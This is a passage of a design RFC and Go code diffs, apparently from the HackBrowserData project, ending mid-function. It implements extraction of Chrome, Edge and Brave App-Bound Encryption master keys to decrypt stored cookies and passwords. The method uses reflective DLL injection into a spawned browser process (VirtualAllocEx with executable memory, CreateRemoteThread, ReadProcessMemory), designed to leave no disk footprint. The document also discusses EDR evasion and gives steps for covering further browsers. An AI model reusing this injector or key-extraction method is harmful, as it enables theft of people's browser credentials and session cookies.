Standard DLL whose `DllMain(DLL_PROCESS_ATTACH)` delegates to `DoExtractKey`, which is itself a thin orchestrator:
|
||||
|
||||
```
|
||||
DoExtractKey(imageBase)
|
||||
CoInitializeEx(APARTMENTTHREADED)
|
||||
GetOwnExeBasename → LookupBrowserByExe (com_iid.c)
|
||||
extract_key_inner(ids) → extract_result { hr, comErr, errCode, plain }
|
||||
if errCode == OK && plain correct length:
|
||||
publish_key(imageBase, plain) // atomic write with MemoryBarrier
|
||||
else:
|
||||
publish_error(imageBase, code, hr, comErr)
|
||||
SysFreeString + SecureZeroMemory + CoUninitialize
|
||||
```
|
||||
|
||||
`extract_key_inner` owns a single resource (`bstrEnc`) and uses early returns — no goto chain. Steps: read `HBD_ABE_ENC_B64` env var, base64-decode, `SysAllocStringByteLen`, `CoCreateInstance(IID_v2)` with fallback to `IID_v1`, `CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)`, **slot-based vtable dispatch** of `DecryptData` (slot 5 for Chrome-family, 8 for Edge, 13 for Avast).
|
||||
|
||||
**Diagnostic channel** (`extract_err_code` / `hresult` / `com_err` fields in the scratch region, added alongside the success byte): lets the Go side report structured failures like `err=CoCreateInstance failed, hr=E_ACCESSDENIED (0x80070005), comErr=0x0` instead of the old `status=0x00, marker=0xff`. Failure categories enumerated in `bootstrap_layout.h`:
|
||||
|
||||
```
|
||||
ABE_ERR_BASENAME / BROWSER_UNKNOWN / ENV_MISSING / BASE64
|
||||
ABE_ERR_BSTR_ALLOC / COM_CREATE / DECRYPT_DATA / KEY_LEN
|
||||
```
|
||||
|
||||
### 4.3 Vendor table — `com_iid.c` / `com_iid.h`
|
||||
|
||||
Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind` selects the DecryptData vtable slot. Schema:
|
||||
|
||||
```c
|
||||
{ "chrome.exe", CHROME_BASE, { CLSID_bytes }, { IID_v1_bytes }, TRUE, { IID_v2_bytes } }
|
||||
```
|
||||
|
||||
Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork.
|
||||
|
||||
### 4.4 Pre-resolved imports (non-obvious design)
|
||||
|
||||
The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction).
|
||||
|
||||
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing.
|
||||
|
||||
Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session.
|
||||
|
||||
## 5. Go integration
|
||||
|
||||
### 5.1 Injector package — `utils/injector/`
|
||||
|
||||
Three files collaborate:
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator |
|
||||
| `winapi_windows.go` | Package-level `windows.LazyProc` handles + `callBoolErr` helper. Centralizes `VirtualAllocEx` / `CreateRemoteThread` / NtFlushIC / import-address lookups. `ReadProcessMemory` / `WriteProcessMemory` use `x/sys/windows` typed wrappers directly. |
|
||||
| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). |
|
||||
| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. |
|
||||
| `arch_windows.go` | Architecture validation (amd64-only today). |
|
||||
|
||||
`scratchResult` is the Go mirror of the remote process's 12-byte diagnostic header: `Marker / Status / ErrCode / HResult / ComErr` + optional 32-byte `Key`. One `ReadProcessMemory` covers the header; a second reads the key only when `Status == KeyStatusReady`.
|
||||
|
||||
### 5.2 Scratch layout codegen
|
||||
|
||||
The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
|
||||
|
||||
```c
|
||||
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
|
||||
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
|
||||
```
|
||||
|
||||
Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` is wired into CI to fail if the committed `layout.go` is stale.
|
||||
|
||||
**Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`.
|
||||
|
||||
### 5.3 Retriever chain & v20 routing
|
||||
|
||||
`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
|
||||
|
||||
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
|
||||
2. Resolves browser executable via `utils/browserutil/path_windows.go` (registry App Paths → hardcoded fallback).
|
||||
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
|
||||
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
|
||||
5. Returns the 32-byte key on success, or a formatted diagnostic error.
|
||||
|
||||
On extraction success, logs at `Info` level (`abe: retrieved <browser> master key via reflective injection`).
|
||||
|
||||
**v20 decryption** is cross-platform by design: `browser/chromium/decrypt.go` routes `CipherV20` → `crypto.DecryptChromiumV20` (defined in `crypto/crypto.go`, uses `AESGCMDecrypt`). This lets Linux/macOS CI exercise the same decryption path as Windows — only the key-source side is platform-gated.
|
||||
|
||||
## 6. Build chain
|
||||
|
||||
- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI.
|
||||
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary.
|
||||
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`.
|
||||
- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload.
|
||||
|
||||
## 7. Impact on non-Windows contributors — zero
|
||||
|
||||
| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? |
|
||||
|---|---|---|---|
|
||||
| macOS / Linux feature work | no | no | yes |
|
||||
| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) |
|
||||
| Windows release with ABE | **yes** | no | `make build-windows` |
|
||||
| CI on any host (non-release) | no | no | yes |
|
||||
|
||||
All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for the payload embed).
|
||||
|
||||
## 8. Zero disk footprint (enforced)
|
||||
|
||||
**No payload bytes ever touch disk on the target machine.**
|
||||
|
||||
- Payload DLL exists only as:
|
||||
1. Build artifact on the developer machine (`crypto/abe_extractor_amd64.bin`, git-ignored)
|
||||
2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`)
|
||||
3. Go `[]byte` in our process memory (one `copy()` for import patching)
|
||||
4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess`
|
||||
|
||||
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM.
|
||||
|
||||
### 8.1 Scratch layout
|
||||
|
||||
```
|
||||
imageBase + 0x00 MZ header (untouched by us)
|
||||
imageBase + 0x28 marker (1 B) ← Bootstrap progress
|
||||
imageBase + 0x29 key_status (1 B; 0x01 = ready)
|
||||
imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
|
||||
imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
|
||||
imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
|
||||
imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite)
|
||||
imageBase + 0x40..0x67 shared region (union):
|
||||
pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress,
|
||||
VirtualAlloc, VirtualProtect, NtFlushIC)
|
||||
post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
```
|
||||
|
||||
`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers.
|
||||
|
||||
## 9. Comparison with reference implementations
|
||||
|
||||
Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem.
|
||||
|
||||
| Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** |
|
||||
|---|---|---|---|
|
||||
| Top-level language | Go + C | Go + C++ | C++ end-to-end |
|
||||
| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe |
|
||||
| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 |
|
||||
| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
|
||||
| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline |
|
||||
| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old |
|
||||
| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) |
|
||||
| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC |
|
||||
| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe |
|
||||
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) |
|
||||
|
||||
### 9.1 Why we didn't vendor xaitax's Bootstrap
|
||||
|
||||
Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped.
|
||||
|
||||
### 9.2 Why we abandoned Stephen Fewer's loader
|
||||
|
||||
`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party.
|
||||
|
||||
## 10. Browser coverage
|
||||
|
||||
As of 2026-04-19, tested against Chrome 147 family.
|
||||
|
||||
| Browser class | Behavior | Status |
|
||||
|---|---|---|
|
||||
| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) | ✅ verified (cookies + passwords, zero non-ASCII in output) |
|
||||
| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds | ✅ verified |
|
||||
| Avast Secure Browser | ABE v20 via `AVAST` slot (13) | ⚠️ table entry shipped; not yet sandbox-tested |
|
||||
| Opera / OperaGX / Vivaldi / Yandex / Arc / 360 / QQ / Sogou | Not in `com_iid.c` | ⚠️ legacy v10 cookies still decrypt via DPAPI; v20 cookies do not |
|
||||
|
||||
Authoritative CLSID/IID table: `crypto/windows/abe_native/com_iid.c`.
|
||||
|
||||
## 11. Adding support for a new Chromium fork
|
||||
|
||||
Three steps. Detail (dump scripts, CLSID discovery) lives in private maintainer notes.
|
||||
|
||||
1. **Discover CLSID** — find the fork's elevation Windows service, look up its AppID in `HKLM\SOFTWARE\Classes\AppID`, then the CLSID that binds to it in `HKLM\SOFTWARE\Classes\CLSID`.
|
||||
2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `<InstallDir>\Application\<version>\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator<Vendor>` → v1 IID, `IElevator2<Vendor>` → v2 IID (absent for older vendors).
|
||||
3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13).
|
||||
|
||||
Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `browser/browser_windows.go` (set `Storage: "<key>"` for the new `BrowserConfig`), optionally `utils/browserutil/path_windows.go` (for non-standard install paths), then `make payload-clean && make build-windows` and redeploy.
|
||||
|
||||
## 12. Known issues & future work
|
||||
|
||||
**Known**:
|
||||
|
||||
- Non-`com_iid.c` browsers (Opera, Vivaldi, Yandex, Arc, 360, QQ, Sogou) fall back to DPAPI; v20 cookies remain encrypted. Fix = §11 procedure per vendor.
|
||||
- ARM64 Windows unsupported. Payload is `x86_64-windows-gnu` only. xaitax ships ARM64; we'd need parallel payload builds + runtime arch dispatch.
|
||||
- Chrome v20 domain-binding prefix: injector-old strips 32 bytes at the start of v20 plaintext. Not observed on Chrome 147 sandbox outputs; left unimplemented. Re-add if a future test surfaces the prefix.
|
||||
- Running-browser handling: if the user has the target browser open we spawn a second instance. No observed conflict, but some vendors (Opera GX) serialize elevation service; an opt-in `--kill-running` is future work.
|
||||
|
||||
**Future** (ordered by value):
|
||||
|
||||
1. Runtime CLSID/IID lookup from `elevation_service_idl.tlb` (no rebuild per fork rotation)
|
||||
2. More forks via §11 (Opera, Vivaldi, Yandex, Arc)
|
||||
3. x86 payload variant (for legacy 32-bit Chrome installs)
|
||||
4. Optional `--kill-running` flag
|
||||
5. EDR-hardened `injector.Strategy` variant (direct syscalls)
|
||||
6. Release signing (cosign / SBOM) + reproducible-build CI verification
|
||||
7. ARM64 Windows support
|
||||
|
||||
## 13. Related RFCs
|
||||
|
||||
| RFC | Relation |
|
||||
|---|---|
|
||||
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
|
||||
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` |
|
||||
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
|
||||
@@ -0,0 +1,49 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
// abeErrNames maps the payload's ABE_ERR_* category byte (written into
|
||||
// the scratch region at extract_err_code) to a human-readable cause.
|
||||
var abeErrNames = map[byte]string{
|
||||
bootstrap.ErrBasename: "basename extraction failed",
|
||||
bootstrap.ErrBrowserUnknown: "browser not in com_iid table",
|
||||
bootstrap.ErrEnvMissing: "HBD_ABE_ENC_B64 env var missing or oversized",
|
||||
bootstrap.ErrBase64: "base64 decode failed",
|
||||
bootstrap.ErrBstrAlloc: "SysAllocStringByteLen failed",
|
||||
bootstrap.ErrComCreate: "CoCreateInstance failed (no usable IElevator)",
|
||||
bootstrap.ErrDecryptData: "IElevator.DecryptData failed",
|
||||
bootstrap.ErrKeyLen: "key length mismatch (want 32)",
|
||||
}
|
||||
|
||||
// hresultNames covers HRESULT values we've actually observed or expect to
|
||||
// observe on failure paths. Unknown values fall back to hex.
|
||||
var hresultNames = map[uint32]string{
|
||||
0x80004002: "E_NOINTERFACE",
|
||||
0x80010108: "RPC_E_DISCONNECTED",
|
||||
0x80040154: "REGDB_E_CLASSNOTREG",
|
||||
0x80070005: "E_ACCESSDENIED",
|
||||
0x800706BA: "RPC_S_SERVER_UNAVAILABLE",
|
||||
}
|
||||
|
||||
// formatABEError renders a scratchResult into a diagnostic string used when
|
||||
// the payload did not publish a key. The format is stable for greppability:
|
||||
//
|
||||
// err=<category>, hr=<name> (0xXXXXXXXX), comErr=0xXXXXXXXX, marker=0xXX
|
||||
func formatABEError(r scratchResult) string {
|
||||
errName := fmt.Sprintf("0x%02x", r.ErrCode)
|
||||
if n, ok := abeErrNames[r.ErrCode]; ok {
|
||||
errName = n
|
||||
}
|
||||
hrName := fmt.Sprintf("0x%08x", r.HResult)
|
||||
if n, ok := hresultNames[r.HResult]; ok {
|
||||
hrName = fmt.Sprintf("%s (0x%08x)", n, r.HResult)
|
||||
}
|
||||
return fmt.Sprintf("err=%s, hr=%s, comErr=0x%x, marker=0x%02x",
|
||||
errName, hrName, r.ComErr, r.Marker)
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
func TestFormatABEError(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
result scratchResult
|
||||
wants []string
|
||||
}{
|
||||
{
|
||||
name: "known err code with known HRESULT",
|
||||
result: scratchResult{
|
||||
Marker: 0xff,
|
||||
Status: 0x00,
|
||||
ErrCode: bootstrap.ErrDecryptData,
|
||||
HResult: 0x80070005,
|
||||
ComErr: 0,
|
||||
},
|
||||
wants: []string{
|
||||
"err=IElevator.DecryptData failed",
|
||||
"hr=E_ACCESSDENIED (0x80070005)",
|
||||
"comErr=0x0",
|
||||
"marker=0xff",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "known err code, unknown HRESULT falls back to hex",
|
||||
result: scratchResult{
|
||||
Marker: 0xff,
|
||||
Status: 0x00,
|
||||
ErrCode: bootstrap.ErrBrowserUnknown,
|
||||
HResult: 0x12345678,
|
||||
},
|
||||
wants: []string{
|
||||
"err=browser not in com_iid table",
|
||||
"hr=0x12345678",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "unknown err code falls back to hex",
|
||||
result: scratchResult{
|
||||
ErrCode: 0xaa,
|
||||
HResult: 0,
|
||||
},
|
||||
wants: []string{
|
||||
"err=0xaa",
|
||||
"hr=0x00000000",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "err code zero (ok) also renders",
|
||||
result: scratchResult{
|
||||
ErrCode: bootstrap.ErrOk,
|
||||
},
|
||||
wants: []string{
|
||||
"err=0x00",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
got := formatABEError(tc.result)
|
||||
for _, want := range tc.wants {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("formatABEError missing %q\n got: %s", want, got)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -8,9 +8,10 @@ import (
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
)
|
||||
|
||||
type Reflective struct {
|
||||
@@ -22,13 +23,6 @@ const (
|
||||
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
|
||||
defaultWait = 30 * time.Second
|
||||
terminateWait = 2 * time.Second
|
||||
|
||||
// Keep in sync with bootstrap.h.
|
||||
bootstrapMarkerOffset = 0x28
|
||||
bootstrapKeyStatusOffset = 0x29
|
||||
bootstrapKeyOffset = 0x40
|
||||
bootstrapKeyLen = 32
|
||||
bootstrapKeyStatusReady = 0x01
|
||||
)
|
||||
|
||||
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
|
||||
@@ -83,18 +77,35 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
||||
}
|
||||
|
||||
// Read output before TerminateProcess — after kill the memory is gone.
|
||||
status, key := readScratch(pi.Process, remoteBase)
|
||||
result, readErr := readScratch(pi.Process, remoteBase)
|
||||
|
||||
_ = windows.TerminateProcess(pi.Process, 0)
|
||||
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
||||
terminated = true
|
||||
|
||||
if status != bootstrapKeyStatusReady {
|
||||
marker := readMarker(pi.Process, remoteBase)
|
||||
return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)",
|
||||
status, marker)
|
||||
if readErr != nil {
|
||||
return nil, fmt.Errorf("injector: %w", readErr)
|
||||
}
|
||||
return key, nil
|
||||
if result.Status != bootstrap.KeyStatusReady {
|
||||
return nil, fmt.Errorf("injector: payload did not publish key (%s)", formatABEError(result))
|
||||
}
|
||||
if len(result.Key) != bootstrap.KeyLen {
|
||||
return nil, fmt.Errorf("injector: payload signaled ready but key length is %d (want %d)",
|
||||
len(result.Key), bootstrap.KeyLen)
|
||||
}
|
||||
return result.Key, nil
|
||||
}
|
||||
|
||||
// scratchResult is the structured view of the 12-byte diagnostic header
|
||||
// (marker..com_err) plus the optional 32-byte master key the payload
|
||||
// publishes back into the remote process's scratch region.
|
||||
type scratchResult struct {
|
||||
Marker byte
|
||||
Status byte
|
||||
ErrCode byte
|
||||
HResult uint32
|
||||
ComErr uint32
|
||||
Key []byte
|
||||
}
|
||||
|
||||
func (r *Reflective) wait() time.Duration {
|
||||
@@ -138,29 +149,19 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
||||
}
|
||||
|
||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
remoteBase, _, callErr := procVirtualAllocEx.Call(
|
||||
remoteBase, err := callBoolErr(procVirtualAllocEx,
|
||||
uintptr(proc), 0,
|
||||
uintptr(len(payload)),
|
||||
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uintptr(windows.PAGE_EXECUTE_READWRITE),
|
||||
)
|
||||
if remoteBase == 0 {
|
||||
return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: %w", err)
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
r1, _, callErr := procWriteProcessMemory.Call(
|
||||
uintptr(proc), remoteBase,
|
||||
uintptr(unsafe.Pointer(&payload[0])),
|
||||
uintptr(len(payload)),
|
||||
uintptr(unsafe.Pointer(&written)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr)
|
||||
if err := windows.WriteProcessMemory(proc, remoteBase, &payload[0], uintptr(len(payload)), &written); err != nil {
|
||||
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", err)
|
||||
}
|
||||
if int(written) != len(payload) {
|
||||
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
|
||||
@@ -169,74 +170,68 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
}
|
||||
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
entry := remoteBase + uintptr(loaderRVA)
|
||||
hThread, _, callErr := procCreateRemoteThread.Call(
|
||||
uintptr(proc),
|
||||
0, 0, entry, 0, 0, 0,
|
||||
hThread, err := callBoolErr(procCreateRemoteThread,
|
||||
uintptr(proc), 0, 0, entry, 0, 0, 0,
|
||||
)
|
||||
if hThread == 0 {
|
||||
return fmt.Errorf("injector: CreateRemoteThread: %w", callErr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
_, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
return nil
|
||||
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
|
||||
if err != nil {
|
||||
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
||||
}
|
||||
switch state {
|
||||
case windows.WAIT_OBJECT_0:
|
||||
return nil
|
||||
case uint32(windows.WAIT_TIMEOUT):
|
||||
return fmt.Errorf("injector: remote Bootstrap thread timed out after %s", wait)
|
||||
default:
|
||||
return fmt.Errorf("injector: remote Bootstrap thread wait returned 0x%x", state)
|
||||
}
|
||||
}
|
||||
|
||||
func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var sb [1]byte
|
||||
// readScratch pulls the payload's diagnostic header and (on success) the
|
||||
// master key out of the target process's scratch region. A non-nil error
|
||||
// means our own ReadProcessMemory call failed (distinct from the payload
|
||||
// reporting a structured failure via result.Status/ErrCode/HResult).
|
||||
func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
|
||||
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
|
||||
// _reserved, hresult (LE u32), com_err (LE u32).
|
||||
var hdr [12]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyStatusOffset),
|
||||
uintptr(unsafe.Pointer(&sb[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0, nil
|
||||
if err := windows.ReadProcessMemory(proc,
|
||||
remoteBase+uintptr(bootstrap.MarkerOffset),
|
||||
&hdr[0], uintptr(len(hdr)), &n); err != nil {
|
||||
return scratchResult{}, fmt.Errorf("read scratch header: %w", err)
|
||||
}
|
||||
status = sb[0]
|
||||
if status != bootstrapKeyStatusReady {
|
||||
return status, nil
|
||||
if int(n) != len(hdr) {
|
||||
return scratchResult{}, fmt.Errorf("read scratch header: short read %d/%d", n, len(hdr))
|
||||
}
|
||||
result := scratchResult{
|
||||
Marker: hdr[0],
|
||||
Status: hdr[1],
|
||||
ErrCode: hdr[2],
|
||||
HResult: binary.LittleEndian.Uint32(hdr[4:8]),
|
||||
ComErr: binary.LittleEndian.Uint32(hdr[8:12]),
|
||||
}
|
||||
if result.Status != bootstrap.KeyStatusReady {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
buf := make([]byte, bootstrapKeyLen)
|
||||
r, _, _ = procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapKeyOffset),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bootstrapKeyLen),
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 || int(n) != bootstrapKeyLen {
|
||||
return status, nil
|
||||
buf := make([]byte, bootstrap.KeyLen)
|
||||
if err := windows.ReadProcessMemory(proc,
|
||||
remoteBase+uintptr(bootstrap.KeyOffset),
|
||||
&buf[0], uintptr(bootstrap.KeyLen), &n); err != nil {
|
||||
return result, fmt.Errorf("read master key from scratch: %w", err)
|
||||
}
|
||||
return status, buf
|
||||
}
|
||||
|
||||
func readMarker(proc windows.Handle, remoteBase uintptr) byte {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
var b [1]byte
|
||||
var n uintptr
|
||||
r, _, _ := procReadProcessMemory.Call(
|
||||
uintptr(proc),
|
||||
remoteBase+uintptr(bootstrapMarkerOffset),
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&n)),
|
||||
)
|
||||
if r == 0 {
|
||||
return 0
|
||||
if int(n) != bootstrap.KeyLen {
|
||||
return result, fmt.Errorf("read master key from scratch: short read %d/%d", n, bootstrap.KeyLen)
|
||||
}
|
||||
return b[0]
|
||||
result.Key = buf
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
|
||||
@@ -244,18 +239,15 @@ func readMarker(proc windows.Handle, remoteBase uintptr) byte {
|
||||
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
|
||||
// share the same virtual address across processes in one boot session).
|
||||
func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
if len(payload) < 0x68 {
|
||||
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
|
||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr()
|
||||
